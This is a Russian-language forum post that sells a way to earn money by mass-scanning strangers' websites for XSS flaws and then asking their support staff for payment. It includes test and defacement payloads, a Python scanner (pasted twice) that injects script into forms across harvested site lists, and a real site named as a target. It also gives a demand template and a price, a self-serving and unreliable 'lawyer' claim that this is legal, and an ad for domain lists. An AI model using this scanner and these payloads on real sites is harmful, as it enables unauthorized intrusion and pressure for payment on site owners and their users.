Всем привет
В этой теме я расскажу вам о вечно актуальном и прибыльном способе заработка.
Для работы вам не понадобится никаких финансовых вложений, только аккаунт на любой почте.И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.
Алгоритм работы:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости
Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость
XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))
Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
"><script>alert("XSS")</script>
Для примера возьмём сайт stolplit.ru:
Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.
Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
>"
Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта.Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.
1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
pip install bs4
pip install requests
pip install colorama
4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
5. В файл main.py необходимо вставить код предоставленный нижеfrom colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests
from urllib.parse import urljoin
from pprint import pprint
import time
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}
init(autoreset=True)
def stop(stop_time):
now_time = time.time()
if stop_time - now_time <= 0:
return True
def save(url):
file = open("goods.txt", "a")
file.write(f"{url}\n")
file.close()
def scan_xss(url, stop_time, timeout):
stop_time = time.time() + stop_time
html = requests.get(url, headers=headers, timeout=timeout)
soup = bs(html.content, "html.parser")
forms = soup.find_all("form")
js_script = "<Script>alert('XSS')</scripT>"
is_vulnerable = False
for form in forms:
if stop(stop_time):
break
details = {}
action = form.attrs.get("action")
method = form.attrs.get("method", "get")
if action != None and not(action.startswith("javascript")):
action = action.lower()
method = method.lower()
else:
break
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
inputs.append({"type": input_type, "name": input_name})
details["action"] = action
details["method"] = method
details["inputs"] = inputs
form_details = details
target_url = urljoin(url, form_details["action"])
inputs = form_details["inputs"]
data = {}
for input in inputs:
if input["type"] == "text" or input["type"] == "search":
input["value"] = js_script
input_name = input.get("name")
input_value = input.get("value")
if input_name and input_value:
data[input_name] = input_value
if form_details["method"] == "post":
content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
else:
content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')
if js_script in content:
save(url)
print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
pprint(form_details)
if __name__ == "__main__":
urls = open('site.txt', 'r', encoding="UTF-8")
for element in urls:
url = element.replace("\n", "")
print(f"\033[37m{url}")
# Максимальное время проверки одного сайта в секундах (не менее 180)
stop_time = 180
# Максимальное время ожидания ответа от сайта в секундах (не менее 15)
timeout = 20
try:
scan_xss(url, 180, 20)
except:
pass # ваще похуй
urls.close()
Pythonfrom colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests
from urllib.parse import urljoin
from pprint import pprint
import time
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}
init(autoreset=True)
def stop(stop_time):
now_time = time.time()
if stop_time - now_time <= 0:
return True
def save(url):
file = open("goods.txt", "a")
file.write(f"{url}\n")
file.close()
def scan_xss(url, stop_time, timeout):
stop_time = time.time() + stop_time
html = requests.get(url, headers=headers, timeout=timeout)
soup = bs(html.content, "html.parser")
forms = soup.find_all("form")
js_script = "<Script>alert('XSS')</scripT>"
is_vulnerable = False
for form in forms:
if stop(stop_time):
break
details = {}
action = form.attrs.get("action")
method = form.attrs.get("method", "get")
if action != None and not(action.startswith("javascript")):
action = action.lower()
method = method.lower()
else:
break
inputs = []
for input_tag in form.find_all("input"):
input_type = input_tag.attrs.get("type", "text")
input_name = input_tag.attrs.get("name")
inputs.append({"type": input_type, "name": input_name})
details["action"] = action
details["method"] = method
details["inputs"] = inputs
form_details = details
target_url = urljoin(url, form_details["action"])
inputs = form_details["inputs"]
data = {}
for input in inputs:
if input["type"] == "text" or input["type"] == "search":
input["value"] = js_script
input_name = input.get("name")
input_value = input.get("value")
if input_name and input_value:
data[input_name] = input_value
if form_details["method"] == "post":
content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
else:
content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')
if js_script in content:
save(url)
print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
pprint(form_details)
if __name__ == "__main__":
urls = open('site.txt', 'r', encoding="UTF-8")
for element in urls:
url = element.replace("\n", "")
print(f"\033[37m{url}")
# Максимальное время проверки одного сайта в секундах (не менее 180)
stop_time = 180
# Максимальное время ожидания ответа от сайта в секундах (не менее 15)
timeout = 20
try:
scan_xss(url, 180, 20)
except:
pass # ваще похуй
urls.close()Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:
python main.py
После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.
Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:
Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»
После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt
После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.
Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.
В этом разделе темы я написал ответы на часто задаваемые вопросы
Ошибка «No such file or directory: 'site.txt'»
Данная ошибка с наибольшей вероятностью вызвана тем, что вы создали файл site.txt.txt вместо site.txt (можете проверить это введя в CMD команду dir и посмотрев на название файла)
Нарушает ли эта тема закон? (272 статью УК. РФ)
Ответ от юриста: «Как гласит Статья 272 УК РФ, Неправомерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо копирование компьютерной информации. В нашем случае доступ к какой-либо информации не осуществляется, мы показываем лишь способ. XSS уязвимость позволяет выполнять код на стороне клиента, то есть публичной подмены кода сайта не осуществляется. XSS это не взлом и мы не сразу получаем доступ к информации как например sql, XSS это способ. Кроме того, исходя из субъективной стороны данного преступления, как таковой корысти в данном случае мы не имеем, это этичный хакинг (Хотя его даже хакингом назвать нельзя). Субъективная сторона предусматривает цель, мотив. Цели взлома сайта, его пользователей у нас нет. Мотив понятие большое, и то что мы лишь после того как отправили сообщение об обнаруженной уязвимости просим деньги, не говорит о том что мы хотели этого с самого начала, мы хотим получить благодарность за свою работу. Соответственно, заявить на нас что мы с корыстной взломали их сайт и требуем выкуп никто не сможет.»
Как устранять уязвимость?
Для устранения уязвимости достаточно фильтровать текст вводимый пользователем, например убирать из его запроса следующие символы: <, >, /, (, ). Если вы не имеете значительного опыта в веб разработке, то не беритесь за устранение уязвимости, есть риск только ухудшить ситуацию.
Что писать в тех. поддержку?
Здравствуйте, я нашёл достаточно опасную уязвимость на вашем сайте (домен сайта), продемонстрировать?У вас на сайте XSS уязвимость, т.е сайт выполняет любой мой JS код на стороне пользователя. Это может привести к подмене кода сайта, краже данных пользователей, их аккаунтов или созданию фейковых уведомлений. Для устранения достаточно просто фильтровать данные вводимые пользователем, например убирать <, >, /, (, ) из запроса.
Вот один из самых простых примеров эксплуатации данной уязвимости - подмена HTML кода сайта (и стилей CSS)
формируем JS код
<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'><br>C 01.05.2024 сайт перестаёт работать</H1>";</script>
вставляем его в поисковую строку на вашем сайте, выполняем запрос и получаем результат
(Фото с выполнением JS кода на сайте)
Опасность тут в том, что любой кто перейдёт по ссылке увидит именно мой html код, а не html код сайта (можете перейти и убедиться)
(Ссылка на их сайт с выполняющимся JS кодом)Дальше отвечайте в зависимости от развития диалога.
Спрашивают сколько перевести, какую сумму называть?
Я всегда называл 3-5к и получал эту сумму, наглеть и просить больше тут явно не стоит.
Я хочу поподробнее узнать про XSS уязвимость, что стоит почитать\посмотреть?
Рекомендую цикл статей на сайте hackware.ru, в них автор полноценно раскрывает тему с поиском, эксплуатацией и обходом защиты.
Уроки по XSS: Урок 1. Основы XSS и поиск уязвимых к XSS сайтов
Уроки по XSS: Урок 2. Скрытая передача данных, перехват нажатия клавиш, изменение внешнего вида сайта, подцепление на BeEF, ******, подсказки обхода фильтров
Уроки по XSS: Урок 3. Контексты внедрения XSSПродаю списки URL всех доменных зон.
Есть 5 500 000 доменов .ru сайтов.
Для покупки пишите мне в телеграме.
Загрузка...
Скопировать BBCode